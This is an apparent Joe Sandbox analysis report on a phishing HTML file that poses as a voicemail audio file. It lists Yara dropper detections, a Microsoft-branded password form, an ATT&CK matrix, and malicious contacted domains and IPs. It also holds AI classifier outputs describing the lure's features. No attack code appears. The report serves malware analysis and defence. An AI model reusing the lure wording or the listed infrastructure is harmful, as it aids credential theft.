Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Data Obfuscation

Yara detected Html Dropper

Source: Yara match	File source: 1.4..script.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_89, type: DROPPED
Source: Yara match	File source: dropped/chromecache_86, type: DROPPED

Stealing of Sensitive Information

HTML file submission containing password form

Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html

HTTP Parser: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://wieistmeineip.de	0%	URL Reputation	safe
https://mercadoshops.com.co	0%	URL Reputation	safe
https://gliadomain.com	0%	URL Reputation	safe
https://poalim.xyz	0%	URL Reputation	safe
https://mercadolivre.com	0%	URL Reputation	safe
https://reshim.org	0%	URL Reputation	safe
https://nourishingpursuits.com	0%	URL Reputation	safe
https://medonet.pl	0%	URL Reputation	safe
https://unotv.com	0%	URL Reputation	safe
https://mercadoshops.com.br	0%	URL Reputation	safe
https://zdrowietvn.pl	0%	URL Reputation	safe
https://johndeere.com	0%	URL Reputation	safe
https://songstats.com	0%	URL Reputation	safe
https://baomoi.com	0%	URL Reputation	safe
https://supereva.it	0%	URL Reputation	safe
https://elfinancierocr.com	0%	URL Reputation	safe
https://bolasport.com	0%	URL Reputation	safe
https://rws1nvtvt.com	0%	URL Reputation	safe
https://desimartini.com	0%	URL Reputation	safe
https://hearty.app	0%	URL Reputation	safe
https://hearty.gift	0%	URL Reputation	safe
https://mercadoshops.com	0%	URL Reputation	safe
https://heartymail.com	0%	URL Reputation	safe
https://p106.net	0%	URL Reputation	safe
https://radio2.be	0%	URL Reputation	safe
https://finn.no	0%	URL Reputation	safe
https://hc1.com	0%	URL Reputation	safe
https://kompas.tv	0%	URL Reputation	safe
https://mystudentdashboard.com	0%	URL Reputation	safe
https://songshare.com	0%	URL Reputation	safe
https://smaker.pl	0%	URL Reputation	safe
https://mercadopago.com.mx	0%	URL Reputation	safe
https://p24.hu	0%	URL Reputation	safe
https://talkdeskqaid.com	0%	URL Reputation	safe
https://mercadopago.com.pe	0%	URL Reputation	safe
https://cardsayings.net	0%	URL Reputation	safe
https://mightytext.net	0%	URL Reputation	safe
https://pudelek.pl	0%	URL Reputation	safe
https://hazipatika.com	0%	URL Reputation	safe
https://joyreactor.com	0%	URL Reputation	safe
https://cookreactor.com	0%	URL Reputation	safe
https://wildixin.com	0%	URL Reputation	safe
https://eworkbookcloud.com	0%	URL Reputation	safe
https://cognitiveai.ru	0%	URL Reputation	safe
https://nacion.com	0%	URL Reputation	safe
https://chennien.com	0%	URL Reputation	safe
https://drimer.travel	0%	URL Reputation	safe
https://deccoria.pl	0%	URL Reputation	safe
https://mercadopago.cl	0%	URL Reputation	safe
https://talkdeskstgid.com	0%	URL Reputation	safe
https://bonvivir.com	0%	URL Reputation	safe
https://carcostadvisor.be	0%	URL Reputation	safe
https://salemovetravel.com	0%	URL Reputation	safe
https://sapo.io	0%	URL Reputation	safe
https://wpext.pl	0%	URL Reputation	safe
https://welt.de	0%	URL Reputation	safe
https://poalim.site	0%	URL Reputation	safe
https://drimer.io	0%	URL Reputation	safe
https://infoedgeindia.com	0%	URL Reputation	safe
https://blackrockadvisorelite.it	0%	URL Reputation	safe
https://cognitive-ai.ru	0%	URL Reputation	safe
https://cafemedia.com	0%	URL Reputation	safe
https://graziadaily.co.uk	0%	URL Reputation	safe
https://thirdspace.org.au	0%	URL Reputation	safe
https://mercadoshops.com.ar	0%	URL Reputation	safe
https://smpn106jkt.sch.id	0%	URL Reputation	safe
https://elpais.uy	0%	URL Reputation	safe
https://landyrev.com	0%	URL Reputation	safe
https://commentcamarche.com	0%	URL Reputation	safe
https://tucarro.com.ve	0%	URL Reputation	safe
https://rws3nvtvt.com	0%	URL Reputation	safe
https://eleconomista.net	0%	URL Reputation	safe
https://mercadolivre.com.br	0%	URL Reputation	safe
https://clmbtech.com	0%	URL Reputation	safe
https://standardsandpraiserepurpose.com	0%	URL Reputation	safe
https://salemovefinancial.com	0%	URL Reputation	safe
https://mercadopago.com.br	0%	URL Reputation	safe
https://commentcamarche.net	0%	URL Reputation	safe
https://etfacademy.it	0%	URL Reputation	safe
https://mighty-app.appspot.com	0%	URL Reputation	safe
https://hj.rs	0%	URL Reputation	safe
https://hearty.me	0%	URL Reputation	safe
https://mercadolibre.com.gt	0%	URL Reputation	safe
https://timesinternet.in	0%	URL Reputation	safe
https://indiatodayne.in	0%	URL Reputation	safe
https://idbs-staging.com	0%	URL Reputation	safe
https://blackrock.com	0%	URL Reputation	safe
https://idbs-eworkbook.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
code.jquery.com	151.101.194.137	true	false	unknown
sopbtech.store	199.188.200.183	true	false	unknown
server.povbtech.store	185.174.100.20	true	false	unknown
s-part-0017.t-0009.fb-t-msedge.net	13.107.253.45	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
www.google.com	142.250.186.68	true	false	unknown
api.ipify.org	104.26.12.205	true	false	unknown
dezbelz.store	63.250.38.7	true	true	unknown
_8020._https.server.povbtech.store	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://wieistmeineip.de	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadoshops.com.co	sets.json.0.dr	false	URL Reputation: safe	unknown
https://gliadomain.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://poalim.xyz	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadolivre.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://reshim.org	sets.json.0.dr	false	URL Reputation: safe	unknown
https://nourishingpursuits.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://medonet.pl	sets.json.0.dr	false	URL Reputation: safe	unknown
https://unotv.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadoshops.com.br	sets.json.0.dr	false	URL Reputation: safe	unknown
https://joyreactor.cc	sets.json.0.dr	false		unknown
https://zdrowietvn.pl	sets.json.0.dr	false	URL Reputation: safe	unknown
https://johndeere.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://songstats.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://baomoi.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://supereva.it	sets.json.0.dr	false	URL Reputation: safe	unknown
https://elfinancierocr.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://bolasport.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://rws1nvtvt.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://desimartini.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://hearty.app	sets.json.0.dr	false	URL Reputation: safe	unknown
https://hearty.gift	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadoshops.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://heartymail.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://nlc.hu	sets.json.0.dr	false		unknown
https://p106.net	sets.json.0.dr	false	URL Reputation: safe	unknown
https://radio2.be	sets.json.0.dr	false	URL Reputation: safe	unknown
https://finn.no	sets.json.0.dr	false	URL Reputation: safe	unknown
https://hc1.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://kompas.tv	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mystudentdashboard.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://songshare.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://smaker.pl	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadopago.com.mx	sets.json.0.dr	false	URL Reputation: safe	unknown
https://p24.hu	sets.json.0.dr	false	URL Reputation: safe	unknown
https://talkdeskqaid.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://24.hu	sets.json.0.dr	false		unknown
https://mercadopago.com.pe	sets.json.0.dr	false	URL Reputation: safe	unknown
https://cardsayings.net	sets.json.0.dr	false	URL Reputation: safe	unknown
https://text.com	sets.json.0.dr	false		unknown
https://mightytext.net	sets.json.0.dr	false	URL Reputation: safe	unknown
https://pudelek.pl	sets.json.0.dr	false	URL Reputation: safe	unknown
https://hazipatika.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://joyreactor.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://cookreactor.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://wildixin.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://eworkbookcloud.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://cognitiveai.ru	sets.json.0.dr	false	URL Reputation: safe	unknown
https://nacion.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://chennien.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://drimer.travel	sets.json.0.dr	false	URL Reputation: safe	unknown
https://deccoria.pl	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadopago.cl	sets.json.0.dr	false	URL Reputation: safe	unknown
https://talkdeskstgid.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://naukri.com	sets.json.0.dr	false		unknown
https://interia.pl	sets.json.0.dr	false		unknown
https://bonvivir.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://carcostadvisor.be	sets.json.0.dr	false	URL Reputation: safe	unknown
https://salemovetravel.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://sapo.io	sets.json.0.dr	false	URL Reputation: safe	unknown
https://wpext.pl	sets.json.0.dr	false	URL Reputation: safe	unknown
https://welt.de	sets.json.0.dr	false	URL Reputation: safe	unknown
https://poalim.site	sets.json.0.dr	false	URL Reputation: safe	unknown
https://drimer.io	sets.json.0.dr	false	URL Reputation: safe	unknown
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_90.2.dr	false		unknown
https://infoedgeindia.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://blackrockadvisorelite.it	sets.json.0.dr	false	URL Reputation: safe	unknown
https://cognitive-ai.ru	sets.json.0.dr	false	URL Reputation: safe	unknown
https://cafemedia.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://graziadaily.co.uk	sets.json.0.dr	false	URL Reputation: safe	unknown
https://thirdspace.org.au	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadoshops.com.ar	sets.json.0.dr	false	URL Reputation: safe	unknown
https://smpn106jkt.sch.id	sets.json.0.dr	false	URL Reputation: safe	unknown
https://elpais.uy	sets.json.0.dr	false	URL Reputation: safe	unknown
https://landyrev.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://the42.ie	sets.json.0.dr	false		unknown
https://commentcamarche.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://tucarro.com.ve	sets.json.0.dr	false	URL Reputation: safe	unknown
https://rws3nvtvt.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://www.office.com	chromecache_86.2.dr, chromecache_89.2.dr	false		unknown
https://eleconomista.net	sets.json.0.dr	false	URL Reputation: safe	unknown
https://helpdesk.com	sets.json.0.dr	false		unknown
https://mercadolivre.com.br	sets.json.0.dr	false	URL Reputation: safe	unknown
https://clmbtech.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://standardsandpraiserepurpose.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://07c225f3.online	sets.json.0.dr	false		unknown
https://salemovefinancial.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadopago.com.br	sets.json.0.dr	false	URL Reputation: safe	unknown
https://commentcamarche.net	sets.json.0.dr	false	URL Reputation: safe	unknown
https://etfacademy.it	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mighty-app.appspot.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://hj.rs	sets.json.0.dr	false	URL Reputation: safe	unknown
https://hearty.me	sets.json.0.dr	false	URL Reputation: safe	unknown
https://mercadolibre.com.gt	sets.json.0.dr	false	URL Reputation: safe	unknown
https://timesinternet.in	sets.json.0.dr	false	URL Reputation: safe	unknown
https://indiatodayne.in	sets.json.0.dr	false	URL Reputation: safe	unknown
https://idbs-staging.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://blackrock.com	sets.json.0.dr	false	URL Reputation: safe	unknown
https://idbs-eworkbook.com	sets.json.0.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
104.26.12.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.174.100.20	server.povbtech.store	Ukraine	8100	ASN-QUADRANET-GLOBALUS	false
13.107.253.45	s-part-0017.t-0009.fb-t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
199.188.200.183	sopbtech.store	United States	22612	NAMECHEAP-NETUS	false
151.101.2.137	unknown	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
63.250.38.7	dezbelz.store	United States	22612	NAMECHEAP-NETUS	true
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
172.67.74.152	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540509
Start date and time:	2024-10-23 21:02:59 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Play_VM.Now.matt.sibilo_Audio.wav...v.html
Detection:	MAL
Classification:	mal92.phis.troj.winHTML@27/25@18/12
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.184.227, 142.251.168.84, 216.58.206.46, 216.58.212.138, 34.104.35.123, 216.58.206.42, 142.250.185.74, 142.250.186.74, 216.58.212.170, 142.250.185.170, 142.250.186.42, 142.250.184.234, 142.250.185.138, 142.250.185.106, 142.250.74.202, 172.217.18.10, 142.250.185.234, 172.217.16.138, 142.250.186.138, 142.250.181.234, 142.250.185.202, 192.229.221.95, 93.184.221.240, 142.250.185.195, 142.250.74.206, 142.250.186.163
Excluded domains from analysis (whitelisted): clients1.google.com, client.wns.windows.com, azurefd-t-fb-prod.trafficmanager.net, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, optimizationguide-pa.googleapis.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Play_VM.Now.matt.sibilo_Audio.wav...v.html

Input	Output
URL: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Enter Password", "prominent_button_name": "Sign In", "text_input_field_labels": [ "Enter Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false }

URL: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Enter Password", "prominent_button_name": "Sign In", "text_input_field_labels": [ "Enter Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false }

URL: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html Model: claude-3-haiku-20240307	```json { "brands": [ "Microsoft" ] }
	```json { "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html Model: claude-3-haiku-20240307	```json { "brands": [ "Microsoft" ] }
	```json { "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Your account or password is incorrect. If you don't remember your password, reset it now", "prominent_button_name": "Sign In", "text_input_field_labels": [ "Enter Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false }

URL: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "Your account or password is incorrect. If you don't remember your password, reset it now", "prominent_button_name": "Sign In", "text_input_field_labels": [ "Enter Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false }

URL: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html Model: claude-3-haiku-20240307	```json { "brands": [ "Microsoft" ] }
	```json { "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html Model: claude-3-haiku-20240307	```json { "brands": [ "Microsoft" ] }
	```json { "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.12.205	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	6706e721f2c06.exe	Get hash	malicious	Remcos	Browse	api.ipify.org/
	perfcc.elf	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	hloRQZmlfg.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
185.174.100.20	original (37).eml	Get hash	malicious	Unknown	Browse
185.174.100.20	022 0.10.htm	Get hash	malicious	HTMLPhisher	Browse
13.107.253.45	PayrolNotificationBenefit_.html	Get hash	malicious	Mamba2FA	Browse
	https://www.pumpproducts.com/goulds-lb0735te-centrifugal-booster-pump-3-4-hp-208-230-460-volts-3-phase-1-1-4-npt-suction-1-npt-discharge-18-gpm-max-176-ft-max-head-5-impeller-tefc-stainless-steel-pump-end-casing.html	Get hash	malicious	Unknown	Browse
	roquette October.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://1drv.ms/o/c/fca0349b9dac3054/Egg4xW-gVZtFnFIBDYLqn3IBzvGvLdCTacUKBwENWO33dQ?e=nEqWJi	Get hash	malicious	Unknown	Browse
	https://1drv.ms/o/c/6c73e1f3356d6c81/EvfBo1LISVpEg8JGFA7u8GsBL0LmooIAfd5Q39ROhQ0Lhw?e=ZTugWV	Get hash	malicious	HtmlDropper	Browse
	roquette October.pdf	Get hash	malicious	HTMLPhisher	Browse
	https://wetransfer.com/downloads/21820466a51be0cc0de4ef5fd28415d320241023112541/61ecbec42424c68f99ca983cd530758a20241023112545/5d3030?t_exp=1729941941&t_lsid=761fb8c4-59e5-4423-a2fe-24d132de0406&t_network=email&t_rid=YXV0aDB8NjcxMjZmN2QzOGFjMDNkYThkOGJmMDM3&t_s=download_link&t_ts=1729682745&utm_campaign=TRN_TDL_01&utm_source=sendgrid&utm_medium=email&trk=TRN_TDL_01	Get hash	malicious	Unknown	Browse
	https://app.creatopy.com/share/d/qvnqyxdo8o7m	Get hash	malicious	Unknown	Browse
	email3.zip	Get hash	malicious	HTMLPhisher	Browse
	https://login.officefitnesschallenge.com/generate-doc-uid-mkopl4uyg6rde32ws	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
code.jquery.com	https://dca13.z4.web.core.windows.net/werrx01USAHTML/?bcda=1-877-883-8072#	Get hash	malicious	TechSupportScam	Browse	151.101.2.137
	https://api-restauration.basiic.net/fWmcv/	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://1drv.ms/o/c/6c73e1f3356d6c81/EvfBo1LISVpEg8JGFA7u8GsBL0LmooIAfd5Q39ROhQ0Lhw?e=ZTugWV	Get hash	malicious	HtmlDropper	Browse	151.101.130.137
	Totalenergies.com_reff_3243808335_ATGeyDyASJ.html	Get hash	malicious	Phisher	Browse	151.101.194.137
	https://k6t.utackhepr.com/WE76L1u/	Get hash	malicious	Tycoon2FA	Browse	151.101.194.137
	https://netorg11230081-my.sharepoint.com/:f:/g/personal/info_onafastpacecontracting_com/Eoa77Lo8BXlOut3qDNQUDAQBBgmgCvIALxhAXrlqjk9Asw?e=2UKAY6	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://www.google.co.nz/url?q=nL206935ZEtyvV206935l&sa=t&url=amp/%69%70%66%6F%78%2E%63%6F%2E%75%6B%2F%70%61%67%65%73%2F%74%68%61%6E%6B%73%2E%68%74%6D%6C#cnlhbi5zcGVuY2VyQHVzLnlhemFraS5jb20=	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://forsa.zyotina.com/	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://link.edgepilot.com/s/c12cb3f0/yNbpJS7pykGhMMzxNnzxvw?u=https://hinproperty.com/	Get hash	malicious	Unknown	Browse	151.101.2.137
	FINAL SETTLEMENT DOCUMENT_ LIEN WAVER DURATION- 57185f7898fa8b51ebd3deed1492e65365186c19.eml	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
sopbtech.store	original (37).eml	Get hash	malicious	Unknown	Browse	199.188.200.183
sopbtech.store	022 0.10.htm	Get hash	malicious	HTMLPhisher	Browse	199.188.200.183
s-part-0017.t-0009.t-msedge.net	PayrolNotificationBenefit_.html	Get hash	malicious	Mamba2FA	Browse	13.107.246.45
	https://www.pumpproducts.com/goulds-lb0735te-centrifugal-booster-pump-3-4-hp-208-230-460-volts-3-phase-1-1-4-npt-suction-1-npt-discharge-18-gpm-max-176-ft-max-head-5-impeller-tefc-stainless-steel-pump-end-casing.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://boulos.pages.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	https://msftexperience.qualtrics.com/jfe/form/SV_b1PzoUF1L5qlw1g?Q_DL=Lzn5LkBOak79ueP_b1PzoUF1L5qlw1g_CGC_Xg3gxZQzDMyhGCO&Q_CHL=email&Q_PopulateResponse=%7B%22QID1%22:%221%22%7D&Q_PopulateValidate=1	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://1drv.ms/o/c/fca0349b9dac3054/Egg4xW-gVZtFnFIBDYLqn3IBzvGvLdCTacUKBwENWO33dQ?e=nEqWJi	Get hash	malicious	Unknown	Browse	13.107.246.45
	juwXcVX5AK.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	qBtDOzhQnS.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	KO8mPIAMHh.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	otq9AG1EIk.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://api-restauration.basiic.net/fWmcv/	Get hash	malicious	Unknown	Browse	13.107.246.45
s-part-0017.t-0009.fb-t-msedge.net	https://s.id/closingdocview67111111	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45
	Review_&_Aprove_Your_Next_Payroll39298.html	Get hash	malicious	Unknown	Browse	13.107.253.45
	PayrolNotificationBenefit_.html	Get hash	malicious	Mamba2FA	Browse	13.107.253.45
	https://www.pumpproducts.com/goulds-lb0735te-centrifugal-booster-pump-3-4-hp-208-230-460-volts-3-phase-1-1-4-npt-suction-1-npt-discharge-18-gpm-max-176-ft-max-head-5-impeller-tefc-stainless-steel-pump-end-casing.html	Get hash	malicious	Unknown	Browse	13.107.253.45
	https://boulos.pages.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45
	https://1drv.ms/o/c/fca0349b9dac3054/Egg4xW-gVZtFnFIBDYLqn3IBzvGvLdCTacUKBwENWO33dQ?e=nEqWJi	Get hash	malicious	Unknown	Browse	13.107.253.45
	ZW_PCCE-010023024001.bat	Get hash	malicious	Remcos, GuLoader	Browse	13.107.253.45
	juwXcVX5AK.exe	Get hash	malicious	Unknown	Browse	13.107.253.45
	qBtDOzhQnS.exe	Get hash	malicious	Unknown	Browse	13.107.253.45
	044SqLy1H3.exe	Get hash	malicious	LummaC	Browse	13.107.253.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	spc.elf	Get hash	malicious	Unknown	Browse	22.184.0.36
	ppc.elf	Get hash	malicious	Unknown	Browse	20.237.253.52
	arm5.elf	Get hash	malicious	Unknown	Browse	22.228.167.252
	PayrolNotificationBenefit_.html	Get hash	malicious	Mamba2FA	Browse	13.107.253.45
	arm.elf	Get hash	malicious	Unknown	Browse	51.103.145.47
